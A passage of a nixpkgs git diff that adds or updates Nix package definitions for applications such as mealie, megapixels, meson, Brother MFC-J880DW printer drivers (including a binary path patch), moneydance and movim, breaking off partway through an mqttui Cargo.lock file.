uvicorn.workers.UvicornWorker mealie.app:app; + ''; + init_db = writeShellScript "init-mealie-db" '' + ${python.interpreter} $OUT/${python.sitePackages}/mealie/scripts/install_model.py + ${python.interpreter} $OUT/${python.sitePackages}/mealie/db/init_db.py + ''; + in '' + mkdir -p $out/config $out/bin $out/libexec + rm -f $out/bin/* + + substitute ${src}/alembic.ini $out/config/alembic.ini \ + --replace-fail 'script_location = alembic' 'script_location = ${src}/alembic' + + makeWrapper ${start_script} $out/bin/mealie \ + --set PYTHONPATH "$out/${python.sitePackages}:${python.pkgs.makePythonPath propagatedBuildInputs}" \ + --set LD_LIBRARY_PATH "${crfpp}/lib" \ + --set STATIC_FILES "${frontend}" \ + --set PATH "${lib.makeBinPath [ crfpp ]}" + + makeWrapper ${init_db} $out/libexec/init_db \ + --set PYTHONPATH "$out/${python.sitePackages}:${python.pkgs.makePythonPath propagatedBuildInputs}" \ + --set OUT "$out" + ''; + + checkInputs = with python.pkgs; [ + pytestCheckHook + ]; + + passthru.tests = { + inherit (nixosTests) mealie; + }; + + meta = with lib; { + description = "A self hosted recipe manager and meal planner"; + longDescription = '' + Mealie is a self hosted recipe manager and meal planner with a REST API and a reactive frontend + application built in NuxtJS for a pleasant user experience for the whole family. Easily add recipes into your + database by providing the URL and Mealie will automatically import the relevant data or add a family recipe with + the UI editor. + ''; + homepage = "https://mealie.io"; + changelog = "https://github.com/mealie-recipes/mealie/releases/tag/${src.rev}"; + license = licenses.agpl3Only; + maintainers = with maintainers; [ litchipi ]; + mainProgram = "mealie"; + }; +} diff --git a/pkgs/applications/graphics/megapixels/default.nix b/pkgs/by-name/me/megapixels/package.nix index 4747e5c03a30d..eef5e4c7add3a 100644 --- a/pkgs/applications/graphics/megapixels/default.nix +++ b/pkgs/by-name/me/megapixels/package.nix @@ -27,15 +27,15 @@ let ++ optionals jpgSupport [ graphicsmagick exiftool ] ); in -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "megapixels"; - version = "1.7.0"; + version = "1.8.0"; src = fetchFromGitLab { - owner = "postmarketOS"; - repo = "megapixels"; - rev = version; - hash = "sha256-ejTCYZMDkqz8P3vroq8XAl+pUGgcS56cm3tzOTE3rfc="; + owner = "megapixels-org"; + repo = "Megapixels"; + rev = finalAttrs.version; + hash = "sha256-J94kDSqQkfdltbYbzvJofd5o/Dhivtld475CaQs7+Ok="; }; nativeBuildInputs = [ @@ -64,12 +64,15 @@ stdenv.mkDerivation rec { ) ''; + strictDeps = true; + meta = with lib; { description = "GTK4 camera application that knows how to deal with the media request api"; - homepage = "https://gitlab.com/postmarketOS/megapixels"; - changelog = "https://gitlab.com/postmarketOS/megapixels/-/tags/${version}"; + homepage = "https://gitlab.com/megapixels-org/Megapixels"; + changelog = "https://gitlab.com/megapixels-org/Megapixels/-/tags/${finalAttrs.version}"; license = licenses.gpl3Only; - maintainers = with maintainers; [ dotlambda ]; + maintainers = with maintainers; [ dotlambda Luflosi ]; platforms = platforms.linux; + mainProgram = "megapixels"; }; -} +}) diff --git a/pkgs/by-name/me/menulibre/package.nix b/pkgs/by-name/me/menulibre/package.nix index 5abe3a2bb47a2..134c7cc98cc90 100644 --- a/pkgs/by-name/me/menulibre/package.nix +++ b/pkgs/by-name/me/menulibre/package.nix @@ -6,19 +6,20 @@ , intltool , gobject-introspection , wrapGAppsHook +, nix-update-script , testers , menulibre }: python3Packages.buildPythonApplication rec { name = "menulibre"; - version = "2.2.3"; + version = "2.4.0"; src = fetchFromGitHub { owner = "bluesabre"; repo = "menulibre"; rev = "menulibre-${version}"; - hash = "sha256-E0ukq3q4YaakOI2mDs3dh0ncZX/dqspCA+97r3JwWyA="; + hash = "sha256-IfsuOYP/H3r1GDWMVVSBfYvQS+01VJaAlZu+c05geWg="; }; propagatedBuildInputs = with python3Packages; [ @@ -45,9 +46,12 @@ python3Packages.buildPythonApplication rec { export HOME=$TMPDIR ''; - passthru.tests.version = testers.testVersion { - package = menulibre; - command = "HOME=$TMPDIR menulibre --version | cut -d' ' -f2"; + passthru = { + updateScript = nix-update-script { }; + tests.version = testers.testVersion { + package = menulibre; + command = "HOME=$TMPDIR menulibre --version | cut -d' ' -f2"; + }; }; meta = with lib; { diff --git a/pkgs/by-name/me/meson/package.nix b/pkgs/by-name/me/meson/package.nix index 9064b9eaf793b..4bf3a3a7d5514 100644 --- a/pkgs/by-name/me/meson/package.nix +++ b/pkgs/by-name/me/meson/package.nix @@ -18,13 +18,13 @@ let in python3.pkgs.buildPythonApplication rec { pname = "meson"; - version = "1.3.1"; + version = "1.3.2"; src = fetchFromGitHub { owner = "mesonbuild"; repo = "meson"; rev = "refs/tags/${version}"; - hash = "sha256-KNNtHi3jx0MRiOgmluA4ucZJWB2WeIYdApfHuspbCqg="; + hash = "sha256-7M/El2snWsQi+gaZWPHnEr9gpJW3trqG1RbnT43M49s="; }; patches = [ diff --git a/pkgs/by-name/me/mev-boost/package.nix b/pkgs/by-name/me/mev-boost/package.nix index 6a7bb6d1e4a4c..a68b9f1c85ab7 100644 --- a/pkgs/by-name/me/mev-boost/package.nix +++ b/pkgs/by-name/me/mev-boost/package.nix @@ -6,15 +6,15 @@ buildGoModule rec { pname = "mev-boost"; - version = "1.6"; + version = "1.7"; src = fetchFromGitHub { owner = "flashbots"; repo = "mev-boost"; rev = "v${version}"; - hash = "sha256-vzgX9irpI5i85bohppyL5KWQuf71SryRu1gkhWSCVKk="; + hash = "sha256-Z5B+PRYb6eWssgyaXpXoHOVRoMZoSAwun7s6Fh1DrfM="; }; - vendorHash = "sha256-xw3xVbgKUIDXu4UQD5CGftON8E4o1u2FcrPo3n6APBE="; + vendorHash = "sha256-yfWDGVfgCfsmzI5oxEmhHXKCUAHe6wWTkaMkBN5kQMw="; meta = with lib; { description = "Ethereum block-building middleware"; diff --git a/pkgs/by-name/mf/mfcj880dwcupswrapper/package.nix b/pkgs/by-name/mf/mfcj880dwcupswrapper/package.nix new file mode 100644 index 0000000000000..38ff805770714 --- /dev/null +++ b/pkgs/by-name/mf/mfcj880dwcupswrapper/package.nix @@ -0,0 +1,46 @@ +{ lib, stdenv, fetchurl, mfcj880dwlpr, makeWrapper, bash }: + +stdenv.mkDerivation rec { + pname = "mfcj880dw-cupswrapper"; + version = "1.0.0-0"; + + src = fetchurl { + url = "https://download.brother.com/welcome/dlf102044/mfcj880dw_cupswrapper_GPL_source_${version}.tar.gz"; + sha256 = "bf291fe31d64afeaefb5b0e606f4baf80c41d80009e34b32b77d56f759e9cf94"; + }; + + nativeBuildInputs = [ makeWrapper ]; + buildInputs = [ + bash # shebang + ]; + + makeFlags = [ "-C" "brcupsconfig" "all" ]; + + installPhase = '' + runHook preInstall + + TARGETFOLDER=$out/opt/brother/Printers/mfcj880dw/cupswrapper + mkdir -p $TARGETFOLDER + cp PPD/brother_mfcj880dw_printer_en.ppd $TARGETFOLDER + cp brcupsconfig/brcupsconfpt1 $TARGETFOLDER + cp cupswrapper/cupswrappermfcj880dw $TARGETFOLDER + sed -i -e '26,306d' $TARGETFOLDER/cupswrappermfcj880dw + substituteInPlace $TARGETFOLDER/cupswrappermfcj880dw \ + --replace-fail "\$ppd_file_name" "$TARGETFOLDER/brother_mfcj880dw_printer_en.ppd" + + CPUSFILTERFOLDER=$out/lib/cups/filter + mkdir -p $TARGETFOLDER $CPUSFILTERFOLDER + ln -s ${mfcj880dwlpr}/lib/cups/filter/brother_lpdwrapper_mfcj880dw $out/lib/cups/filter/brother_lpdwrapper_mfcj880dw + + runHook postInstall + ''; + + meta = with lib; { + homepage = "http://www.brother.com/"; + description = "Brother MFC-J880DW CUPS wrapper driver"; + license = with licenses; gpl2; + platforms = with platforms; linux; + downloadPage = "https://support.brother.com/g/b/downloadlist.aspx?c=us&lang=en&prod=mfcj880dw_us_eu_as&os=128"; + maintainers = with maintainers; [ _6543 ]; + }; +} diff --git a/pkgs/by-name/mf/mfcj880dwlpr/package.nix b/pkgs/by-name/mf/mfcj880dwlpr/package.nix new file mode 100644 index 0000000000000..8b69c85c7240c --- /dev/null +++ b/pkgs/by-name/mf/mfcj880dwlpr/package.nix @@ -0,0 +1,94 @@ +{ lib, stdenv, fetchurl, pkgsi686Linux, dpkg, makeWrapper, coreutils, gnused, gawk, file, cups, util-linux, xxd, runtimeShell +, ghostscript, a2ps, bash }: + +# Why: +# The executable "brprintconf_mfcj880dw" binary is looking for "/opt/brother/Printers/%s/inf/br%sfunc" and "/opt/brother/Printers/%s/inf/br%src". +# Whereby, %s is printf(3) string substitution for stdin's arg0 (the command's own filename) from the 10th char forwards, as a runtime dependency. +# e.g. Say the filename is "0123456789ABCDE", the runtime will be looking for /opt/brother/Printers/ABCDE/inf/brABCDEfunc. +# Presumably, the binary was designed to be deployed under the filename "printconf_mfcj880dw", whereby it will search for "/opt/brother/Printers/mfcj880dw/inf/brmfcj880dwfunc". +# For NixOS, we want to change the string to the store path of brmfcj880dwfunc and brmfcj880dwrc but we're faced with two complications: +# 1. Too little room to specify the nix store path. We can't even take advantage of %s by renaming the file to the store path hash since the variable is too short and can't contain the whole hash. +# 2. The binary needs the directory it's running from to be r/w. +# What: +# As such, we strip the path and substitution altogether, leaving only "brmfcj880dwfunc" and "brmfcj880dwrc", while filling the leftovers with nulls. +# Fully null terminating the cstrings is necessary to keep the array the same size and preventing overflows. +# We then use a shell script to link and execute the binary, func and rc files in a temporary directory. +# How: +# In the package, we dump the raw binary as a string of search-able hex values using hexdump. We execute the substitution with sed. We then convert the hex values back to binary form using xxd. +# We also write a shell script that invoked "mktemp -d" to produce a r/w temporary directory and link what we need in the temporary directory. +# Result: +# The user can run brprintconf_mfcj880dw in the shell. + +stdenv.mkDerivation rec { + pname = "mfcj880dwlpr"; + version = "1.0.0-0"; + + src = fetchurl { + url = "https://download.brother.com/welcome/dlf102038/mfcj880dwlpr-${version}.i386.deb"; + sha256 = "1680b301f660a407fe0b69f5de59c7473d2d66dc472a1589b0cd9f51736bfea7"; + }; + + nativeBuildInputs = [ makeWrapper ]; + buildInputs = [ cups ghostscript dpkg a2ps ]; + + dontUnpack = true; + + brprintconf_mfcj880dw_script = '' + #!${runtimeShell} + cd $(mktemp -d) + ln -s @out@/usr/bin/brprintconf_mfcj880dw_patched brprintconf_mfcj880dw_patched + ln -s @out@/opt/brother/Printers/mfcj880dw/inf/brmfcj880dwfunc brmfcj880dwfunc + ln -s @out@/opt/brother/Printers/mfcj880dw/inf/brmfcj880dwrc brmfcj880dwrc + ./brprintconf_mfcj880dw_patched "$@" + ''; + + installPhase = '' + dpkg-deb -x $src $out + substituteInPlace $out/opt/brother/Printers/mfcj880dw/lpd/filtermfcj880dw \ + --replace-fail /opt "$out/opt" + substituteInPlace $out/opt/brother/Printers/mfcj880dw/lpd/psconvertij2 \ + --replace-fail "GHOST_SCRIPT=`which gs`" "GHOST_SCRIPT=${ghostscript}/bin/gs" + substituteInPlace $out/opt/brother/Printers/mfcj880dw/inf/setupPrintcapij \ + --replace-fail "/opt/brother/Printers" "$out/opt/brother/Printers" \ + --replace-fail "printcap.local" "printcap" + + patchelf --set-interpreter ${pkgsi686Linux.stdenv.cc.libc.out}/lib/ld-linux.so.2 \ + --set-rpath $out/opt/brother/Printers/mfcj880dw/inf:$out/opt/brother/Printers/mfcj880dw/lpd \ + $out/opt/brother/Printers/mfcj880dw/lpd/brmfcj880dwfilter + patchelf --set-interpreter ${pkgsi686Linux.stdenv.cc.libc.out}/lib/ld-linux.so.2 $out/usr/bin/brprintconf_mfcj880dw + + #stripping the hardcoded path. + # /opt/brother/Printers/%s/inf/br%sfunc -> brmfcj880dwfunc + # /opt/brother/Printers/%s/inf/br%src -> brmfcj880dwrc + ${util-linux}/bin/hexdump -ve '1/1 "%.2X"' $out/usr/bin/brprintconf_mfcj880dw | \ + sed 's.2F6F70742F62726F746865722F5072696E746572732F25732F696E662F6272257366756E63.62726d66636a383830647766756e6300000000000000000000000000000000000000000000.' | \ + sed 's.2F6F70742F62726F746865722F5072696E746572732F25732F696E662F627225737263.62726d66636a3838306477726300000000000000000000000000000000000000000000.' | \ + ${xxd}/bin/xxd -r -p > $out/usr/bin/brprintconf_mfcj880dw_patched + chmod +x $out/usr/bin/brprintconf_mfcj880dw_patched + #executing from current dir. segfaults if it's not r\w. + mkdir -p $out/bin + echo -n "$brprintconf_mfcj880dw_script" > $out/bin/brprintconf_mfcj880dw + chmod +x $out/bin/brprintconf_mfcj880dw + substituteInPlace $out/bin/brprintconf_mfcj880dw --replace-fail @out@ $out + + # NOTE: opt/brother/Printers/mfcj880dw/lpd/brmfcj880dwfilter also has cardcoded paths, but we can not simply replace them + + mkdir -p $out/lib/cups/filter/ + ln -s $out/opt/brother/Printers/mfcj880dw/lpd/filtermfcj880dw $out/lib/cups/filter/brother_lpdwrapper_mfcj880dw + + wrapProgram $out/opt/brother/Printers/mfcj880dw/lpd/psconvertij2 \ + --prefix PATH ":" ${ lib.makeBinPath [ coreutils gnused gawk ] } + wrapProgram $out/opt/brother/Printers/mfcj880dw/lpd/filtermfcj880dw \ + --prefix PATH ":" ${ lib.makeBinPath [ coreutils gnused file ghostscript a2ps ] } + ''; + + meta = with lib; { + description = "Brother MFC-J880DW LPR driver"; + downloadPage = "https://support.brother.com/g/b/downloadlist.aspx?c=us&lang=en&prod=mfcj880dw_us_eu_as&os=128"; + homepage = "http://www.brother.com/"; + sourceProvenance = with sourceTypes; [ binaryNativeCode ]; + license = with licenses; unfree; + maintainers = with maintainers; [ _6543 ]; + platforms = with platforms; linux; + }; +} diff --git a/pkgs/by-name/mi/miru/package.nix b/pkgs/by-name/mi/miru/package.nix new file mode 100644 index 0000000000000..467b5a5260d97 --- /dev/null +++ b/pkgs/by-name/mi/miru/package.nix @@ -0,0 +1,53 @@ +{ lib +, fetchurl +, appimageTools +}: + +appimageTools.wrapType2 rec { + pname = "miru"; + version = "4.5.10"; + + src = fetchurl { + url = "https://github.com/ThaUnknown/miru/releases/download/v${version}/linux-Miru-${version}.AppImage"; + name = "${pname}-${version}.AppImage"; + sha256 = "sha256-ptaviLwr0X/MuF517YLW7i9+rtnktcpgHVqMHn+tXWg="; + }; + + extraInstallCommands = + let + contents = appimageTools.extractType2 { inherit pname version src; }; + in + '' + mkdir -p "$out/share/applications" + mkdir -p "$out/share/lib/miru" + cp -r ${contents}/{locales,resources} "$out/share/lib/miru" + cp -r ${contents}/usr/* "$out" + cp "${contents}/${pname}.desktop" "$out/share/applications/" + mv "$out/bin/${pname}-${version}" "$out/bin/${pname}" + substituteInPlace $out/share/applications/${pname}.desktop --replace 'Exec=AppRun' 'Exec=${pname}' + ''; + + meta = with lib; { + description = "Stream anime torrents, real-time with no waiting for downloads"; + homepage = "https://github.com/ThaUnknown/miru#readme"; + license = licenses.gpl3Plus; + maintainers = [ maintainers.d4ilyrun ]; + mainProgram = "miru"; + + platforms = [ "x86_64-linux" ]; + sourceProvenance = [ lib.sourceTypes.binaryNativeCode ]; + + longDescription = '' + A pure JS BitTorrent streaming environment, with a built-in list manager. + Imagine qBit + Taiga + MPV, all in a single package, but streamed real-time. + Completely ad free with no tracking/data collection. + + This app is meant to feel look, work and perform like a streaming website/app, + while providing all the advantages of torrenting, like file downloads, + higher download speeds, better video quality and quicker releases. + + Unlike qBit's sequential, seeking into undownloaded data will prioritise downloading that data, + instead of flat out closing MPV. + ''; + }; +} diff --git a/pkgs/by-name/mo/mommy/package.nix b/pkgs/by-name/mo/mommy/package.nix index 5de85db633dfc..8d21870685147 100644 --- a/pkgs/by-name/mo/mommy/package.nix +++ b/pkgs/by-name/mo/mommy/package.nix @@ -23,13 +23,13 @@ let in stdenv.mkDerivation rec { pname = "mommy"; - version = "1.3.0"; + version = "1.5.0"; src = fetchFromGitHub { owner = "FWDekker"; repo = pname; rev = "v${version}"; - hash = "sha256-9i/xKkMKGnRO6u8O2oKn5z1PZhMrwaK9f/BDzusH474="; + hash = "sha256-kNhoEIzrPjCe6RA/GHFB/NtKjYFByM5TpxAwCLo5TDo="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/by-name/mo/moneydance/package.nix b/pkgs/by-name/mo/moneydance/package.nix new file mode 100644 index 0000000000000..5222684f706b5 --- /dev/null +++ b/pkgs/by-name/mo/moneydance/package.nix @@ -0,0 +1,52 @@ +{ lib, stdenv, fetchzip, makeWrapper, openjdk21, openjfx21, jvmFlags ? [ ] }: +let jdk = openjdk21.override { enableJavaFX = true; }; +in stdenv.mkDerivation (finalAttrs: { + pname = "moneydance"; + version = "2023.3_5064"; + + src = fetchzip { + url = "https://infinitekind.com/stabledl/${finalAttrs.version}/moneydance-linux.tar.gz"; + hash = "sha256-jHr1V/gV1seenw2Q0/G405lTiabEYEsOS8p/XyByrtM="; + }; + + nativeBuildInputs = [ makeWrapper ]; + buildInputs = [ jdk openjfx21 ]; + + # Note the double escaping in the call to makeWrapper. The escapeShellArgs + # call quotes each element of the flags list as a word[1] and returns a + # space-separated result; the escapeShellArg call quotes that result as a + # single word to pass to --add-flags. The --add-flags implementation[2] + # loops over the words in its argument. + # + # 1. https://www.gnu.org/software/bash/manual/html_node/Word-Splitting.html + # 2. https://github.com/NixOS/nixpkgs/blob/master/pkgs/build-support/setup-hooks/make-wrapper.sh + installPhase = let + finalJvmFlags = [ + "-client" + "--add-modules" + "javafx.swing,javafx.controls,javafx.graphics" + "-classpath" + "${placeholder "out"}/libexec/*" + ] ++ jvmFlags ++ [ "Moneydance" ]; + in '' + runHook preInstall + + mkdir -p $out/libexec $out/bin + cp -p $src/lib/* $out/libexec/ + makeWrapper ${jdk}/bin/java $out/bin/moneydance \ + --add-flags ${lib.escapeShellArg (lib.escapeShellArgs finalJvmFlags)} + + runHook postInstall + ''; + + passthru = { inherit jdk; }; + + meta = { + homepage = "https://infinitekind.com/moneydance"; + description = "An easy to use and full-featured personal finance app that doesn't compromise your privacy"; + sourceProvenance = [ lib.sourceTypes.binaryBytecode ]; + license = lib.licenses.unfree; + platforms = jdk.meta.platforms; + maintainers = [ lib.maintainers.lucasbergman ]; + }; +}) diff --git a/pkgs/by-name/mo/monophony/package.nix b/pkgs/by-name/mo/monophony/package.nix index 1aede92ae5bd0..7589c172af0e7 100644 --- a/pkgs/by-name/mo/monophony/package.nix +++ b/pkgs/by-name/mo/monophony/package.nix @@ -12,7 +12,7 @@ }: python3Packages.buildPythonApplication rec { pname = "monophony"; - version = "2.6.0"; + version = "2.6.1"; format = "other"; sourceRoot = "source/source"; @@ -20,7 +20,7 @@ python3Packages.buildPythonApplication rec { owner = "zehkira"; repo = "monophony"; rev = "v${version}"; - hash = "sha256-dLv1zdhWXOimxhoyf0T8oM5dF4fKepcIED+DG6D1MH0="; + hash = "sha256-op6XUfP0EM9P5vT2nM4o+NOHxBcASIl1+6Mp/u9ub3U="; }; pythonPath = with python3Packages; [ diff --git a/pkgs/by-name/mo/mountpoint-s3/package.nix b/pkgs/by-name/mo/mountpoint-s3/package.nix index 0caa5a4b4e503..194cf2249e522 100644 --- a/pkgs/by-name/mo/mountpoint-s3/package.nix +++ b/pkgs/by-name/mo/mountpoint-s3/package.nix @@ -8,17 +8,17 @@ rustPlatform.buildRustPackage rec { pname = "mountpoint-s3"; - version = "1.4.0"; + version = "1.4.1"; src = fetchFromGitHub { owner = "awslabs"; repo = "mountpoint-s3"; rev = "v${version}"; - hash = "sha256-7anWK7vg6u7Sz4eV+X3QqeLj6y11iEmsi3iIlnEI79w="; + hash = "sha256-V9d3rAb1rbso69RUMgwZdqfchgcDUlFU2LFjCk59uew="; fetchSubmodules = true; }; - cargoHash = "sha256-qqPzf56KqVsmey353GpeJ6xdVLnGfjh/KlErWKkB6JU="; + cargoHash = "sha256-9cdz1G4mKyg4TfsL+laoB6+6rqEgk8A3VkTjejETAKo="; # thread 'main' panicked at cargo-auditable/src/collect_audit_data.rs:77:9: # cargo metadata failure: error: none of the selected packages contains these features: libfuse3 diff --git a/pkgs/by-name/mo/mousam/package.nix b/pkgs/by-name/mo/mousam/package.nix new file mode 100644 index 0000000000000..256ee99a13bed --- /dev/null +++ b/pkgs/by-name/mo/mousam/package.nix @@ -0,0 +1,58 @@ +{ lib +, python3Packages +, fetchFromGitHub +, meson +, ninja +, pkg-config +, gobject-introspection +, wrapGAppsHook4 +, desktop-file-utils +, libadwaita +}: + +python3Packages.buildPythonApplication rec { + pname = "mousam"; + version = "1.1.0"; + # built with meson, not a python format + format = "other"; + + src = fetchFromGitHub { + owner = "amit9838"; + repo = "mousam"; + rev = "v${version}"; + hash = "sha256-4NJLJ9aPCufvqZGzqQEjSxryofcg4mwk0UohlgUYcqk="; + }; + + nativeBuildInputs = [ + meson + ninja + pkg-config + gobject-introspection + wrapGAppsHook4 + desktop-file-utils + ]; + + buildInputs = [ + libadwaita + ]; + + propagatedBuildInputs = with python3Packages; [ + pygobject3 + requests + ]; + + dontWrapGApps = true; + + preFixup = '' + makeWrapperArgs+=("''${gappsWrapperArgs[@]}") + ''; + + meta = with lib; { + description = "Beautiful and lightweight weather app based on Python and GTK4"; + homepage = "https://amit9838.github.io/mousam"; + license = with licenses; [ gpl3Plus ]; + mainProgram = "mousam"; + maintainers = with maintainers; [ aleksana ]; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/mo/movim/package.nix b/pkgs/by-name/mo/movim/package.nix new file mode 100644 index 0000000000000..985a7808b644a --- /dev/null +++ b/pkgs/by-name/mo/movim/package.nix @@ -0,0 +1,40 @@ +{ lib +, fetchFromGitHub +, php +, withPgsql ? true # “strongly recommended” according to docs +, withMysql ? false +}: + +php.buildComposerProject (finalAttrs: { + pname = "movim"; + version = "0.23"; + + src = fetchFromGitHub { + owner = "movim"; + repo = "movim"; + rev = "v${finalAttrs.version}"; + hash = "sha256-9MBe2IRYxvUuCc5m7ajvIlBU7YVm4A3RABlOOIjpKoM="; + }; + + php = php.buildEnv { + extensions = ({ all, enabled }: + enabled + ++ (with all; [ curl dom gd imagick mbstring ]) + ++ lib.optional withPgsql all.pgsql + ++ lib.optional withMysql all.mysqli + ); + }; + + # no listed license + # pinned commonmark + composerStrictValidation = false; + + vendorHash = "sha256-PBoJbVuF0Qy7nNlL4yx446ivlZpPYNIai78yC0wWkCM="; + + meta = { + description = "a federated blogging & chat platform that acts as a web front end for the XMPP protocol"; + homepage = "https://movim.eu"; + license = lib.licenses.agpl3; + maintainers = with lib.maintainers; [ toastal ]; + }; +}) diff --git a/pkgs/by-name/mq/mqttui/Cargo.lock b/pkgs/by-name/mq/mqttui/Cargo.lock new file mode 100644 index 0000000000000..fd3db1ec87029 --- /dev/null +++ b/pkgs/by-name/mq/mqttui/Cargo.lock @@ -0,0 +1,1771 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d713b3834d76b85304d4d525563c1276e2e30dc97cc67bfb4585a4a29fc2c89f" +dependencies = [ + "cfg-if", + "once_cell", + "version_check", + "zerocopy", +] + +[[package]] +name = "allocator-api2" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5" + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96b09b5178381e0874812a9b157f7fe84982617e48f71f4e3235482775e5b540" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.80" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" + +[[package]] +name = "async-tungstenite" +version = "0.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1e9efbe14612da0a19fb983059a0b621e9cf6225d7018ecab4f9988215540dc" +dependencies = [ + "futures-io", + "futures-util", + "log", + "pin-project-lite", + "rustls-native-certs", + "tokio", + "tokio-rustls", + "tungstenite", +] + +[[package]] +name = "async_io_stream" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d7b9decdf35d8908a7e3ef02f64c5e9b1695e230154c0e8de3969142d9b94c" +dependencies = [ + "futures", + "pharos", + "rustc_version", + "tokio", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea184aa71bb362a1157c896979544cc23974e08fd265f29ea96b59f0b4a555b" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cassowary" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df8670b8c7b9dae1793364eafadf7239c40d669904660c5960d74cfd80b46a53" + +[[package]] +name = "castaway" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a17ed5635fc8536268e5d4de1e22e81ac34419e5f052d4d51f4e01dcc263fcc" +dependencies = [ + "rustversion", +] + +[[package]] +name = "cc" +version = "1.0.88" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02f341c093d19155a6e41631ce5971aac4e9a868262212153124c15fa22d1cdc" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "windows-targets 0.52.3", +] + +[[package]] +name = "clap" +version = "4.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c918d541ef2913577a0f9566e9ce27cb35b6df072075769e0b26cb5a554520da" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f3e7391dad68afb0c2ede1bf619f579a3dc9c2ec67f089baa397123a2f3d1eb" +dependencies = 